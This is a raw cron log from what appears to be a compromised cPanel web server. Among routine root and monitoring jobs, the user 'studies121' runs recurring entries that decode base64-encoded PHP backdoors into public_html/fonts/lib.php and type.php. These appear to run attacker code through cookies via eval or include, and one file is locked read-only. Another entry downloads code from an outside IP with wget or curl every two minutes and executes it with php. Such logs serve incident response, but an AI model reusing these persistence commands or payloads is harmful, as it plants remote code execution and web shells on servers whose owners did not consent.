Sep 12 21:01:01 ip-184-168-122-23 CROND[24755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:01:01 ip-184-168-122-23 CROND[24756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24753]: starting 0anacron
Sep 12 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24773]: finished 0anacron
Sep 12 21:02:01 ip-184-168-122-23 CROND[24859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:02:01 ip-184-168-122-23 CROND[24860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:02:01 ip-184-168-122-23 CROND[24861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:02:01 ip-184-168-122-23 CROND[24863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:02:01 ip-184-168-122-23 CROND[24862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:03:01 ip-184-168-122-23 CROND[24962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:03:01 ip-184-168-122-23 CROND[24965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:03:01 ip-184-168-122-23 CROND[24966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:03:01 ip-184-168-122-23 CROND[24964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:04:01 ip-184-168-122-23 CROND[25047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:04:01 ip-184-168-122-23 CROND[25051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:04:01 ip-184-168-122-23 CROND[25048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:04:01 ip-184-168-122-23 CROND[25050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:04:01 ip-184-168-122-23 CROND[25049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:05:01 ip-184-168-122-23 CROND[25236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:05:01 ip-184-168-122-23 CROND[25239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:05:01 ip-184-168-122-23 CROND[25240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:05:01 ip-184-168-122-23 CROND[25238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:05:01 ip-184-168-122-23 CROND[25241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:05:01 ip-184-168-122-23 CROND[25242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:05:01 ip-184-168-122-23 CROND[25243]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 21:06:01 ip-184-168-122-23 CROND[25351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:06:01 ip-184-168-122-23 CROND[25353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:06:01 ip-184-168-122-23 CROND[25354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:06:01 ip-184-168-122-23 CROND[25356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:06:01 ip-184-168-122-23 CROND[25355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:07:01 ip-184-168-122-23 CROND[25451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:07:01 ip-184-168-122-23 CROND[25449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:07:01 ip-184-168-122-23 CROND[25452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:07:01 ip-184-168-122-23 CROND[25450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:08:01 ip-184-168-122-23 CROND[25553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:08:01 ip-184-168-122-23 CROND[25555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:08:01 ip-184-168-122-23 CROND[25556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:08:01 ip-184-168-122-23 CROND[25557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:08:01 ip-184-168-122-23 CROND[25558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:09:01 ip-184-168-122-23 CROND[25660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:09:01 ip-184-168-122-23 CROND[25662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:09:01 ip-184-168-122-23 CROND[25665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:09:01 ip-184-168-122-23 CROND[25664]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 21:09:01 ip-184-168-122-23 CROND[25663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:10:01 ip-184-168-122-23 CROND[25849]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:10:01 ip-184-168-122-23 CROND[25852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:10:01 ip-184-168-122-23 CROND[25856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:10:01 ip-184-168-122-23 CROND[25859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:10:01 ip-184-168-122-23 CROND[25858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:10:01 ip-184-168-122-23 CROND[25861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:10:01 ip-184-168-122-23 CROND[25857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:10:01 ip-184-168-122-23 CROND[25863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:11:01 ip-184-168-122-23 CROND[25963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:11:01 ip-184-168-122-23 CROND[25965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:11:01 ip-184-168-122-23 CROND[25966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:11:01 ip-184-168-122-23 CROND[25968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:12:01 ip-184-168-122-23 CROND[26048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:12:01 ip-184-168-122-23 CROND[26052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:12:02 ip-184-168-122-23 CROND[26051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:12:02 ip-184-168-122-23 CROND[26053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:12:02 ip-184-168-122-23 CROND[26054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:13:01 ip-184-168-122-23 CROND[26147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:13:01 ip-184-168-122-23 CROND[26149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:13:01 ip-184-168-122-23 CROND[26150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
